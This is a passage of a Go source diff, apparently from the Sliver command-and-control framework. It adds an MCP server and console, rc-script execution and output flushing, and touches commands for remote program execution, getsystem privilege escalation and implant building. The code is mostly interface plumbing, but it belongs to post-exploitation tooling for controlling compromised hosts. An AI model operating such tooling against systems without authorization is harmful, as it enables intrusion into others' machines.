+		parts := strings.SplitN(pair, "=", 2)
+		if len(parts) != 2 || parts[0] == "" {
+			return nil, fmt.Errorf("invalid --env value %q, expected key=value", pair)
+		}
+		envVars[parts[0]] = parts[1]
+	}
+	return envVars, nil
+}
+
 func determineCommandName(command string) string {
 	commandName := strings.ReplaceAll(command, "\\", "/")
 

client/command/exit/exit.go

@@ -20,7 +20,6 @@ package exit
 
 import (
 	"context"
-	"fmt"
 	"os"
 
 	"github.com/bishopfox/sliver/client/console"
@@ -32,26 +31,25 @@ import (
 
 // ExitCmd - Exit the console.
 func ExitCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	fmt.Println("Exiting...")
 	if con.IsServer {
 		sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
 		if err != nil {
-			os.Exit(1)
+			flushAndExit(con, 1)
 		}
 		beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
 		if err != nil {
-			os.Exit(1)
+			flushAndExit(con, 1)
 		}
 		if 0 < len(sessions.Sessions) || 0 < len(beacons.Beacons) {
 			con.Printf("There are %d active sessions and %d active beacons.\n", len(sessions.Sessions), len(beacons.Beacons))
 			confirm := false
-			_ = forms.Confirm("Are you sure you want to exit?", &confirm)
+			forms.Confirm("Are you sure you want to exit?", &confirm)
 			if !confirm {
 				return
 			}
 		}
 	}
-	os.Exit(0)
+	flushAndExit(con, 0)
 }
 
 // Commands returns the `exit` command.
@@ -65,3 +63,12 @@ func Command(con *console.SliverClient) []*cobra.Command {
 		GroupID: constants.GenericHelpGroup,
 	}}
 }
+
+func flushAndExit(con *console.SliverClient, code int) {
+	if con != nil {
+		con.FlushOutput()
+	} else {
+		os.Stdout.Sync()
+	}
+	os.Exit(code)
+}

client/command/extensions/load.go

@@ -30,7 +30,6 @@ import (
 	"os"
 	"path"
 	"path/filepath"
-	"strconv"
 	"strings"
 
 	"github.com/bishopfox/sliver/client/assets"
@@ -43,8 +42,8 @@ import (
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util"
+	"github.com/carapace-sh/carapace"
 	appConsole "github.com/reeflective/console"
-	"github.com/rsteube/carapace"
 	"github.com/spf13/cobra"
 	"github.com/spf13/pflag"
 	"google.golang.org/protobuf/proto"
@@ -121,6 +120,7 @@ type extensionArgument struct {
 	Desc     string      `json:"desc"`
 	Optional bool        `json:"optional"`
 	Default  interface{} `json:"default,omitempty"`
+	Choices  []string    `json:"choices,omitempty"`
 }
 
 func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (string, error) {
@@ -689,94 +689,6 @@ func PrintExtOutput(extName string, commandName string, outputSchema *packages.O
 	}
 }
 
-func getExtArgs(_ *cobra.Command, args []string, _ string, ext *ExtCommand) ([]byte, error) {
-	var err error
-	argsBuffer := core.BOFArgsBuffer{
-		Buffer: new(bytes.Buffer),
-	}
-
-	// Parse BOF arguments from grumble
-	missingRequiredArgs := make([]string, 0)
-
-	// If we have an extension that expects a single string, but more than one has been parsed, combine them
-	if len(ext.Arguments) == 1 && strings.Contains(ext.Arguments[0].Type, "string") && len(args) > 0 {
-		// The loop below will only read the first element of args because ext.Arguments is 1
-		args[0] = strings.Join(args, " ")
-	}
-
-	for _, arg := range ext.Arguments {
-		// If we don't have any positional words left to consume,
-		// add the remaining required extension arguments in the
-		// error message.
-		if len(args) == 0 {
-			if !arg.Optional {
-				missingRequiredArgs = append(missingRequiredArgs, "`"+arg.Name+"`")
-			}
-			continue
-		}
-
-		// Else pop a word from the list
-		word := args[0]
-		args = args[1:]
-
-		switch arg.Type {
-		case "integer":
-			fallthrough
-		case "int":
-			val, err := strconv.Atoi(word)
-			if err != nil {
-				return nil, err
-			}
-			err = argsBuffer.AddInt(uint32(val))
-			if err != nil {
-				return nil, err
-			}
-		case "short":
-			val, err := strconv.Atoi(word)
-			if err != nil {
-				return nil, err
-			}
-			err = argsBuffer.AddShort(uint16(val))
-			if err != nil {
-				return nil, err
-			}
-		case "string":
-			err = argsBuffer.AddString(word)
-			if err != nil {
-				return nil, err
-			}
-		case "wstring":
-			err = argsBuffer.AddWString(word)
-			if err != nil {
-				return nil, err
-			}
-		// Adding support for filepaths so we can
-		// send binary data like shellcodes to BOFs
-		case "file":
-			data, err := os.ReadFile(word)
-			if err != nil {
-				return nil, err
-			}
-			err = argsBuffer.AddData(data)
-			if err != nil {
-				return nil, err
-			}
-		}
-	}
-
-	// Return if we have missing required arguments
-	if len(missingRequiredArgs) > 0 {
-		return nil, fmt.Errorf("required arguments %s were not provided", strings.Join(missingRequiredArgs, ", "))
-	}
-
-	parsedArgs, err := argsBuffer.GetBuffer()
-	if err != nil {
-		return nil, err
-	}
-
-	return parsedArgs, nil
-}
-
 func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtCommand) ([]byte, error) {
 	var extensionArgs []byte
 	binData, err := os.ReadFile(binPath)
@@ -837,16 +749,27 @@ func checkExtensionArgs(extCmd *ExtCommand) error {
 	return nil
 }
 
-// makeExtensionArgCompleter builds the positional arguments completer for the extension.
+// makeExtensionArgCompleter builds the positional and dash arguments completer for the extension.
+// It provides completion for:
+// 1. Positional arguments (before --)
+// 2. Flag-style arguments after -- (e.g., --process, --shellcode)
 func makeExtensionArgCompleter(extCmd *ExtCommand, _ *cobra.Command, comps *carapace.Carapace) {
 	var actions []carapace.Action
 
 	for _, arg := range extCmd.Arguments {
 		var action carapace.Action
 
-		switch arg.Type {
-		case "file":
-			action = carapace.ActionFiles().Tag("extension data")
+		// If choices are defined, use them for completion
+		if len(arg.Choices) > 0 {
+			action = carapace.ActionValues(arg.Choices...).Tag("choices")
+		} else {
+			// Fall back to type-based completion
+			switch arg.Type {
+			case "file":
+				action = carapace.ActionFiles().Tag("extension data")
+			default:
+				action = carapace.ActionValues()
+			}
 		}
 
 		usage := fmt.Sprintf("(%s) %s", arg.Type, arg.Desc)
@@ -858,6 +781,72 @@ func makeExtensionArgCompleter(extCmd *ExtCommand, _ *cobra.Command, comps *cara
 	}
 
 	comps.PositionalCompletion(actions...)
+
+	// Add dash completion for flag-style arguments after --
+	// The extension arguments are parsed as flags (--name value) by argparser.go
+	if len(extCmd.Arguments) > 0 {
+		// Pre-build the flag completions at registration time (not in a callback)
+		// This ensures the values are captured correctly
+		flagCompletion := makeExtensionFlagNameCompletion(extCmd)
+
+		// Build value completions for each argument type
+		valueCompletions := make(map[string]carapace.Action)
+		for _, arg := range extCmd.Arguments {
+			// If choices are defined, use them for completion
+			if len(arg.Choices) > 0 {
+				valueCompletions[arg.Name] = carapace.ActionValues(arg.Choices...).Tag("choices")
+			} else {
+				// Fall back to type-based completion
+				switch arg.Type {
+				case "file":
+					valueCompletions[arg.Name] = carapace.ActionFiles().Tag("file path")
+				default:
+					valueCompletions[arg.Name] = carapace.ActionValues()
+				}
+			}
+		}
+
+		// Use DashAnyCompletion with a smart action that determines context
+		comps.DashAnyCompletion(
+			carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+				// If typing a flag (starts with -)
+				if strings.HasPrefix(c.Value, "-") {
+					return flagCompletion
+				}
+
+				// If previous arg was a flag, complete its value
+				if len(c.Args) > 0 {
+					lastArg := c.Args[len(c.Args)-1]
+					if strings.HasPrefix(lastArg, "-") {
+						flagName := strings.TrimLeft(lastArg, "-")
+						if action, ok := valueCompletions[flagName]; ok {
+							return action
+						}
+					}
+				}
+
+				// Default: show flag names
+				return flagCompletion
+			}),
+		)
+	}
+}
+
+// makeExtensionFlagNameCompletion creates completion for flag names
+func makeExtensionFlagNameCompletion(extCmd *ExtCommand) carapace.Action {
+	var results []string
+
+	for _, arg := range extCmd.Arguments {
+		flagName := fmt.Sprintf("--%s", arg.Name)
+		desc := arg.Desc
+		if arg.Optional {
+			desc = fmt.Sprintf("[optional] %s", desc)
+		}
+		desc = fmt.Sprintf("(%s) %s", arg.Type, desc)
+		results = append(results, flagName, desc)
+	}
+
+	return carapace.ActionValuesDescribed(results...).Tag("extension arguments")
 }
 
 func makeCommandPlatformFilters(extCmd *ExtCommand) map[string]string {

client/command/generate/generate.go

@@ -85,6 +85,7 @@ var (
 
 	ErrNoExternalBuilder = errors.New("no external builders are available")
 	ErrNoValidBuilders   = errors.New("no valid external builders for target")
+	ErrNoSelection       = errors.New("no selection")
 )
 
 // GenerateCmd - The main command used to generate implant binaries
@@ -1144,6 +1145,11 @@ func selectExternalBuilder(builders []*clientpb.Builder, _ *console.SliverClient
 	}
 	choice := ""
 	_ = forms.Select("Select an external builder:", choices, &choice)
+
+	if choice == "" {
+		return nil, ErrNoSelection
+	}
+
 	for _, builder := range builders {
 		if builder.Name == choice {
 			return builder, nil

client/command/generate/traffic-encoders.go

@@ -283,6 +283,10 @@ func SelectTrafficEncoder(con *console.SliverClient) string {
 	}
 	sort.Strings(encoderNames)
 	var selectedEncoder string
-	_ = forms.Select("Select a traffic encoder:", encoderNames, &selectedEncoder)
+	err = forms.Select("Select a traffic encoder:", encoderNames, &selectedEncoder)
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return ""
+	}
 	return selectedEncoder
 }

client/command/help/long-help.go

@@ -68,6 +68,7 @@ var (
 		consts.RunAsStr:            runAsHelp,
 		consts.ImpersonateStr:      impersonateHelp,
 		consts.RevToSelfStr:        revToSelfHelp,
+		consts.ExecuteStr:          executeHelp,
 		consts.ExecuteAssemblyStr:  executeAssemblyHelp,
 		consts.ExecuteShellcodeStr: executeShellcodeHelp,
 		consts.MigrateStr:          migrateHelp,
@@ -124,6 +125,22 @@ var (
 		consts.C2ProfileStr + sep + consts.C2GenerateStr: c2GenerateHelp,
 	}
 
+	executeHelp = `[[.Bold]]Command:[[.Normal]] execute <path to executable> [options] -- [args...]
+
+[[.Bold]]About:[[.Normal]] Execute a program on the remote system with optional arguments, note the subprocess 
+arguments are be separated from the sliver 'execute' arguments with '--' 
+
+[[.Bold]]Example:[[.Normal]]
+execute /bin/bash --env FOO=1 -- -c env
+
+[*] Execute: /bin/bash [-c env]
+[*] Output:
+FOO=1
+PWD=/Users/moloch/git/sliver
+SHLVL=1
+_=/usr/bin/env
+`
+
 	jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
 	[[.Bold]]About:[[.Normal]] Manage jobs/listeners.`
 

client/command/mcp/commands.go

@@ -0,0 +1,76 @@
+package mcp
+
+import (
+	"github.com/bishopfox/sliver/client/command/flags"
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	clientmcp "github.com/bishopfox/sliver/client/mcp"
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
+)
+
+// Commands returns the `mcp` command and its subcommands.
+func Commands(con *console.SliverClient) []*cobra.Command {
+	defaultConfig := clientmcp.DefaultConfig()
+
+	mcpCmd := &cobra.Command{
+		Use:     consts.MCPStr,
+		Short:   "Manage the MCP server",
+		Long:    help.GetHelpFor([]string{consts.MCPStr}),
+		GroupID: consts.NetworkHelpGroup,
+		Run: func(cmd *cobra.Command, args []string) {
+			McpCmd(cmd, con, args)
+		},
+	}
+
+	startCmd := &cobra.Command{
+		Use:   consts.StartStr,
+		Short: "Start the MCP server",
+		Long:  help.GetHelpFor([]string{consts.MCPStr, consts.StartStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			McpStartCmd(cmd, con, args)
+		},
+	}
+	flags.Bind("", false, startCmd, func(f *pflag.FlagSet) {
+		f.String("transport", string(defaultConfig.Transport), "mcp transport (http or sse)")
+		f.String("listen", defaultConfig.ListenAddress, "listen address for the MCP server")
+		f.String("name", defaultConfig.ServerName, "server name for MCP initialize")
+		f.String("version", defaultConfig.ServerVersion, "server version for MCP initialize")
+	})
+	flags.BindFlagCompletions(startCmd, func(comp *carapace.ActionMap) {
+		(*comp)["transport"] = carapace.ActionValues("http", "sse")
+	})
+	mcpCmd.AddCommand(startCmd)
+
+	stopCmd := &cobra.Command{
+		Use:   consts.StopStr,
+		Short: "Stop the MCP server",
+		Long:  help.GetHelpFor([]string{consts.MCPStr, consts.StopStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			McpStopCmd(cmd, con, args)
+		},
+	}
+	mcpCmd.AddCommand(stopCmd)
+
+	consoleCmd := &cobra.Command{
+		Use:     "console",
+		Aliases: []string{"repl"},
+		Short:   "Open an MCP console session",
+		Long:    help.GetHelpFor([]string{consts.MCPStr, "console"}),
+		Run: func(cmd *cobra.Command, args []string) {
+			McpConsoleCmd(cmd, con, args)
+		},
+	}
+	flags.Bind("", false, consoleCmd, func(f *pflag.FlagSet) {
+		f.String("transport", string(defaultConfig.Transport), "mcp transport (http or sse)")
+		f.String("url", "", "mcp server URL (defaults to local server settings)")
+	})
+	flags.BindFlagCompletions(consoleCmd, func(comp *carapace.ActionMap) {
+		(*comp)["transport"] = carapace.ActionValues("http", "sse")
+	})
+	mcpCmd.AddCommand(consoleCmd)
+
+	return []*cobra.Command{mcpCmd}
+}

client/command/mcp/console.go

@@ -0,0 +1,132 @@
+package mcp
+
+import (
+	"bufio"
+	"context"
+	"errors"
+	"fmt"
+	"io"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/console"
+	clientmcp "github.com/bishopfox/sliver/client/mcp"
+	"github.com/bishopfox/sliver/client/version"
+	mcpclient "github.com/mark3labs/mcp-go/client"
+	mcpapi "github.com/mark3labs/mcp-go/mcp"
+	"github.com/spf13/cobra"
+)
+
+// McpConsoleCmd connects to an MCP server and starts a minimal console.
+func McpConsoleCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	rawTransport, _ := cmd.Flags().GetString("transport")
+	transport, err := clientmcp.ParseTransport(rawTransport)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	targetURL, _ := cmd.Flags().GetString("url")
+	if targetURL == "" {
+		cfg := clientmcp.GetStatus().Config.WithDefaults()
+		cfg.Transport = transport
+		targetURL, err = cfg.EndpointURL()
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+
+	client, err := newConsoleClient(transport, targetURL)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	defer client.Close()
+
+	ctx := context.Background()
+	if err := client.Start(ctx); err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	_, err = client.Initialize(ctx, mcpapi.InitializeRequest{
+		Params: mcpapi.InitializeParams{
+			ProtocolVersion: mcpapi.LATEST_PROTOCOL_VERSION,
+			ClientInfo: mcpapi.Implementation{
+				Name:    "sliver-mcp-console",
+				Version: version.Version,
+			},
+			Capabilities: mcpapi.ClientCapabilities{},
+		},
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	con.PrintInfof("Connected to MCP server (%s)\n", targetURL)
+	runConsoleREPL(ctx, client, cmd.InOrStdin(), cmd.OutOrStdout())
+}
+
+func newConsoleClient(transport clientmcp.Transport, targetURL string) (*mcpclient.Client, error) {
+	switch transport {
+	case clientmcp.TransportHTTP:
+		return mcpclient.NewStreamableHttpClient(targetURL)
+	case clientmcp.TransportSSE:
+		return mcpclient.NewSSEMCPClient(targetURL)
+	default:
+		return nil, fmt.Errorf("unsupported transport %q", transport)
+	}
+}
+
+func runConsoleREPL(ctx context.Context, client *mcpclient.Client, in io.Reader, out io.Writer) {
+	reader := bufio.NewReader(in)
+	for {
+		fmt.Fprint(out, "mcp> ")
+		line, err := reader.ReadString('\n')
+		if err != nil {
+			if errors.Is(err, io.EOF) {
+				fmt.Fprintln(out)
+				return
+			}
+			fmt.Fprintf(out, "read error: %s\n", err)
+			return
+		}
+		line = strings.TrimSpace(line)
+		switch line {
+		case "":
+			continue
+		case "exit", "quit":
+			return
+		case "help", "?":
+			printConsoleHelp(out)
+		case "tools":
+			printConsoleTools(ctx, client, out)
+		default:
+			fmt.Fprintf(out, "unknown command: %s\n", line)
+		}
+	}
+}
+
+func printConsoleHelp(out io.Writer) {
+	fmt.Fprintln(out, "commands: tools, help, exit")
+}
+
+func printConsoleTools(ctx context.Context, client *mcpclient.Client, out io.Writer) {
+	tools, err := client.ListTools(ctx, mcpapi.ListToolsRequest{})
+	if err != nil {
+		fmt.Fprintf(out, "tools error: %s\n", err)
+		return
+	}
+	if len(tools.Tools) == 0 {
+		fmt.Fprintln(out, "no tools available")
+		return
+	}
+	for _, tool := range tools.Tools {
+		if tool.Description != "" {
+			fmt.Fprintf(out, "- %s: %s\n", tool.Name, tool.Description)
+			continue
+		}
+		fmt.Fprintf(out, "- %s\n", tool.Name)
+	}
+}

client/command/mcp/mcp.go

@@ -0,0 +1,37 @@
+package mcp
+
+import (
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	clientmcp "github.com/bishopfox/sliver/client/mcp"
+	"github.com/spf13/cobra"
+)
+
+// McpCmd prints the current MCP server state.
+func McpCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	status := clientmcp.GetStatus()
+	state := "stopped"
+	if status.Running {
+		state = "running"
+	}
+
+	con.Printf("Status: %s\n", state)
+	con.Printf("Transport: %s\n", status.Config.Transport)
+	con.Printf("Listen: %s\n", status.Config.ListenAddress)
+
+	endpoint, err := status.Config.EndpointURL()
+	if err == nil {
+		con.Printf("Endpoint: %s\n", endpoint)
+	} else {
+		con.PrintErrorf("Endpoint: %s\n", err)
+	}
+
+	if status.Running && !status.StartedAt.IsZero() {
+		uptime := time.Since(status.StartedAt).Truncate(time.Second)
+		con.Printf("Uptime: %s\n", uptime)
+	}
+	if status.LastError != "" {
+		con.PrintErrorf("Last error: %s\n", status.LastError)
+	}
+}

client/command/mcp/start.go

@@ -0,0 +1,39 @@
+package mcp
+
+import (
+	"github.com/bishopfox/sliver/client/console"
+	slivermcp "github.com/bishopfox/sliver/client/mcp"
+	"github.com/spf13/cobra"
+)
+
+// McpStartCmd starts the local MCP server.
+func McpStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	rawTransport, _ := cmd.Flags().GetString("transport")
+	transport, err := slivermcp.ParseTransport(rawTransport)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	listen, _ := cmd.Flags().GetString("listen")
+	name, _ := cmd.Flags().GetString("name")
+	version, _ := cmd.Flags().GetString("version")
+
+	cfg := slivermcp.Config{
+		Transport:     transport,
+		ListenAddress: listen,
+		ServerName:    name,
+		ServerVersion: version,
+	}.WithDefaults()
+
+	if err := slivermcp.Start(cfg, con.Rpc); err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	con.PrintInfof("Starting MCP server (%s) on %s\n", cfg.Transport, cfg.ListenAddress)
+	endpoint, err := cfg.EndpointURL()
+	if err == nil {
+		con.PrintInfof("Endpoint: %s\n", endpoint)
+	}
+}

client/command/mcp/stop.go

@@ -0,0 +1,24 @@
+package mcp
+
+import (
+	"context"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	clientmcp "github.com/bishopfox/sliver/client/mcp"
+	"github.com/spf13/cobra"
+)
+
+const mcpStopTimeout = 5 * time.Second
+
+// McpStopCmd stops the local MCP server.
+func McpStopCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	ctx, cancel := context.WithTimeout(context.Background(), mcpStopTimeout)
+	defer cancel()
+
+	if err := clientmcp.Stop(ctx); err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	con.PrintInfof("MCP server stopped\n")
+}

client/command/privilege/getsystem.go

@@ -26,6 +26,7 @@ import (
 	"github.com/spf13/cobra"
 
 	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 )
@@ -44,6 +45,17 @@ func GetSystemCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
 
 	process, _ := cmd.Flags().GetString("process")
 	config := con.GetActiveSessionConfig()
+
+	/* If the HTTP C2 Config name is not defined, then put in the default value
+	   This will have no effect on implants that do not use HTTP C2
+	   Also this should be overridden when the build info is pulled from the
+	   database, but if there is no build info and we have to create the build
+	   from scratch, we need to have something in here.
+	*/
+	if config.HTTPC2ConfigName == "" {
+		config.HTTPC2ConfigName = consts.DefaultC2Profile
+	}
+
 	ctrl := make(chan bool)
 	con.SpinUntil("Attempting to create a new sliver session as 'NT AUTHORITY\\SYSTEM'...", ctrl)
 

client/command/server.go

@@ -22,6 +22,7 @@ import (
 	"fmt"
 	"os"
 
+	"github.com/bishopfox/sliver/client/command/aka"
 	"github.com/bishopfox/sliver/client/command/alias"
 	"github.com/bishopfox/sliver/client/command/armory"
 	"github.com/bishopfox/sliver/client/command/beacons"
@@ -39,6 +40,7 @@ import (
 	"github.com/bishopfox/sliver/client/command/jobs"
 	"github.com/bishopfox/sliver/client/command/licenses"
 	"github.com/bishopfox/sliver/client/command/loot"
+	"github.com/bishopfox/sliver/client/command/mcp"
 	"github.com/bishopfox/sliver/client/command/monitor"
 	"github.com/bishopfox/sliver/client/command/operators"
 	"github.com/bishopfox/sliver/client/command/reaction"
@@ -101,11 +103,13 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
 			crack.Commands,
 			certificates.Commands,
 			clean.Command,
+      aka.ServerCommands,
 		)
 
 		// C2 Network
 		bind(consts.NetworkHelpGroup,
 			jobs.Commands,
+			mcp.Commands,
 			websites.Commands,
 			wireguard.Commands,
 			c2profiles.Commands,

client/command/sliver.go

@@ -22,6 +22,7 @@ import (
 	"fmt"
 
 	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command/aka"
 	"github.com/bishopfox/sliver/client/command/alias"
 	"github.com/bishopfox/sliver/client/command/backdoor"
 	"github.com/bishopfox/sliver/client/command/cursed"
@@ -78,6 +79,7 @@ func SliverCommands(con *client.SliverClient) console.Commands {
 			// use.Commands,
 			tasks.Commands,
 			pivots.Commands,
+      aka.ImplantCommands,
 		)
 
 		// [ Info ]

client/console/console.go

@@ -41,6 +41,7 @@ import (
 	"github.com/bishopfox/sliver/protobuf/rpcpb"
 	"github.com/bishopfox/sliver/util"
 	"github.com/gofrs/uuid"
+	"github.com/kballard/go-shellquote"
 	"github.com/reeflective/console"
 	"github.com/reeflective/readline"
 	"github.com/spf13/cobra"
@@ -98,8 +99,11 @@ type SliverClient struct {
 	IsServer                 bool
 	IsCLI                    bool
 
-	jsonHandler slog.Handler
-	printf      func(format string, args ...any) (int, error)
+	jsonHandler      slog.Handler
+	printf           func(format string, args ...any) (int, error)
+	stdoutPipeWriter *os.File
+	stdoutPipeDone   chan struct{}
+	stdoutPipeOnce   sync.Once
 }
 
 // NewConsole creates the sliver client (and console), creating menus and prompts.
@@ -159,7 +163,7 @@ func NewConsole(isServer bool) *SliverClient {
 // Init requires a working RPC connection to the sliver server, and 2 different sets of commands.
 // If run is true, the console application is started, making this call blocking. Otherwise, commands and
 // RPC connection are bound to the console (making the console ready to run), but the console does not start.
-func StartClient(con *SliverClient, rpc rpcpb.SliverRPCClient, serverCmds, sliverCmds console.Commands, run bool) error {
+func StartClient(con *SliverClient, rpc rpcpb.SliverRPCClient, serverCmds, sliverCmds console.Commands, run bool, rcScript string) error {
 	con.Rpc = rpc
 	con.IsCLI = !run
 
@@ -206,6 +210,13 @@ func StartClient(con *SliverClient, rpc rpcpb.SliverRPCClient, serverCmds, slive
 		con.setupAsciicastRecord(asciicastLog, asciicastStream)
 	}
 
+	if rcScript != "" {
+		originalPrintf := con.printf
+		con.printf = fmt.Printf
+		con.runRCScript(serverCmds, sliverCmds, rcScript)
+		con.printf = originalPrintf
+	}
+
 	if !con.IsCLI {
 		return con.App.Start()
 	}
@@ -213,6 +224,71 @@ func StartClient(con *SliverClient, rpc rpcpb.SliverRPCClient, serverCmds, slive
 	return nil
 }
 
+func (con *SliverClient) runRCScript(serverCmds, sliverCmds console.Commands, rcScript string) {
+	scanner := bufio.NewScanner(strings.NewReader(rcScript))
+	lineNumber := 0
+
+	for scanner.Scan() {
+		lineNumber++
+		line := strings.TrimSpace(scanner.Text())
+		if line == "" {
+			continue
+		}
+		if err := con.runRCLine(serverCmds, sliverCmds, line); err != nil {
+			con.PrintErrorf("rc line %d error: %s", lineNumber, err)
+		}
+	}
+
+	if err := scanner.Err(); err != nil {
+		con.PrintErrorf("rc script error: %s", err)
+	}
+}
+
+func (con *SliverClient) runRCLine(serverCmds, sliverCmds console.Commands, line string) error {
+	args, err := shellquote.Split(line)
+	if err != nil {
+		return fmt.Errorf("parse error: %w", err)
+	}
+
+	for _, hook := range con.App.PreCmdRunLineHooks {
+		args, err = hook(args)
+		if err != nil {
+			return fmt.Errorf("pre-run line error: %w", err)
+		}
+	}
+
+	if len(args) == 0 {
+		return nil
+	}
+
+	menu := con.App.ActiveMenu()
+	if menu.Name() == consts.ImplantMenu {
+		menu.Command = sliverCmds()
+	} else {
+		menu.Command = serverCmds()
+	}
+
+	target, _, _ := menu.Command.Find(args)
+	if err := menu.CheckIsAvailable(target); err != nil {
+		return err
+	}
+
+	for _, hook := range con.App.PreCmdRunHooks {
+		if err := hook(); err != nil {
+			return fmt.Errorf("pre-run error: %w", err)
+		}
+	}
+
+	menu.SetArgs(args)
+	menu.SetContext(context.Background())
+
+	if err := menu.Execute(); err != nil {
+		return err
+	}
+
+	return nil
+}
+
 func (con *SliverClient) startEventLoop() {
 	eventStream, err := con.Rpc.Events(context.Background(), &commonpb.Empty{})
 	if err != nil {
@@ -341,11 +417,12 @@ func (con *SliverClient) triggerReactions(event *clientpb.Event) {
 		con.ActiveTarget.Set(currentActiveSession, currentActiveBeacon)
 	}()
 
-	if event.EventType == consts.SessionOpenedEvent {
+	switch event.EventType {
+	case consts.SessionOpenedEvent:
 		con.ActiveTarget.Set(nil, nil)
 
 		con.ActiveTarget.Set(event.Session, nil)
-	} else if event.EventType == consts.BeaconRegisteredEvent {
+	case consts.BeaconRegisteredEvent:
 		con.ActiveTarget.Set(nil, nil)
 
 		beacon := &clientpb.Beacon{}
@@ -609,6 +686,7 @@ func (c *SliverClient) exitConsole(_ *console.Console) {
 	answer := strings.TrimSpace(text)
 
 	if (answer == "Y") || (answer == "y") {
+		c.FlushOutput()
 		os.Exit(0)
 	}
 }

client/console/log.go

@@ -124,7 +124,14 @@ func (con *SliverClient) setupAsciicastRecord(logFile *os.File, server io.Writer
 	os.Stdout = w
 	os.Stderr = w
 
-	go io.Copy(mw, r)
+	done := make(chan struct{})
+	con.stdoutPipeWriter = w
+	con.stdoutPipeDone = done
+
+	go func() {
+		_, _ = io.Copy(mw, r)
+		close(done)
+	}()
 }
 
 func getConsoleLogFile() *os.File {
@@ -149,6 +156,25 @@ func getConsoleAsciicastFile() *os.File {
 	return logFile
 }
 
+// FlushOutput drains any piped stdout before exiting.
+func (con *SliverClient) FlushOutput() {
+	if con.stdoutPipeWriter == nil {
+		_ = os.Stdout.Sync()
+		return
+	}
+
+	con.stdoutPipeOnce.Do(func() {
+		_ = con.stdoutPipeWriter.Close()
+	})
+
+	if con.stdoutPipeDone != nil {
+		select {
+		case <-con.stdoutPipeDone:
+		case <-time.After(500 * time.Millisecond):
+		}
+	}
+}
+
 //
 // -------------------------- [ Logging ] -----------------------------
 //

client/constants/constants.go

@@ -276,6 +276,7 @@ const (
 	WgPortFwdStr          = "wg-portfwd"
 	MonitorStr            = "monitor"
 	MonitorConfigStr      = "config"
+	MCPStr                = "mcp"
 	SSHStr                = "ssh"
 	DLLHijackStr          = "dllhijack"
 	InteractiveStr        = "interactive"

client/forms/prompts.go

@@ -5,10 +5,20 @@ import (
 	"strings"
 
 	"github.com/charmbracelet/huh"
+	"golang.org/x/term"
 )
 
 const defaultSelectHeight = 10
 
+func getTerminalWidth() int {
+	// Try to get actual terminal width
+	if width, _, err := term.GetSize(1); err == nil && width > 0 {
+		return width
+	}
+	// Fall back to a reasonable default
+	return 200
+}
+
 // Confirm prompts for a yes/no answer.
 func Confirm(title string, value *bool) error {
 	if value == nil {
@@ -86,7 +96,7 @@ func MultiSelect(title string, options []string, value *[]string) error {
 		Height(listHeight(len(options))).
 		Value(value)
 
-	form := huh.NewForm(huh.NewGroup(field))
+	form := huh.NewForm(huh.NewGroup(field)).WithWidth(getTerminalWidth())
 	return form.Run()
 }
 
@@ -98,6 +108,8 @@ func selectPrompt(title string, options []string, value *string, required bool)
 		return errors.New("select options are required")
 	}
 
+	// Save the original value in case the form is cancelled
+	originalValue := *value
 	ensureSelectedValue(options, value)
 
 	field := huh.NewSelect[string]().
@@ -115,8 +127,16 @@ func selectPrompt(title string, options []string, value *string, required bool)
 		})
 	}
 
-	form := huh.NewForm(huh.NewGroup(field))
-	return form.Run()
+	form := huh.NewForm(huh.NewGroup(field)).WithWidth(getTerminalWidth())
+	err := form.Run()
+
+	// On error restore the originalValue and return err
+	if err != nil {
+		*value = originalValue
+		return err
+	}
+
+	return err
 }
 
 func ensureSelectedValue(options []string, value *string) {

client/mcp/config.go

@@ -0,0 +1,118 @@
+package mcp
+
+import (
+	"fmt"
+	"net"
+	"net/url"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/version"
+)
+
+// Transport identifies the MCP server transport to expose.
+type Transport string
+
+const (
+	TransportHTTP Transport = "http"
+	TransportSSE  Transport = "sse"
+)
+
+// Config controls the local MCP server settings.
+type Config struct {
+	Transport     Transport
+	ListenAddress string
+	ServerName    string
+	ServerVersion string
+}
+
+// DefaultConfig returns the baseline MCP configuration.
+func DefaultConfig() Config {
+	return Config{
+		Transport:     TransportSSE,
+		ListenAddress: "127.0.0.1:8080",
+		ServerName:    "Sliver MCP",
+		ServerVersion: version.Version,
+	}
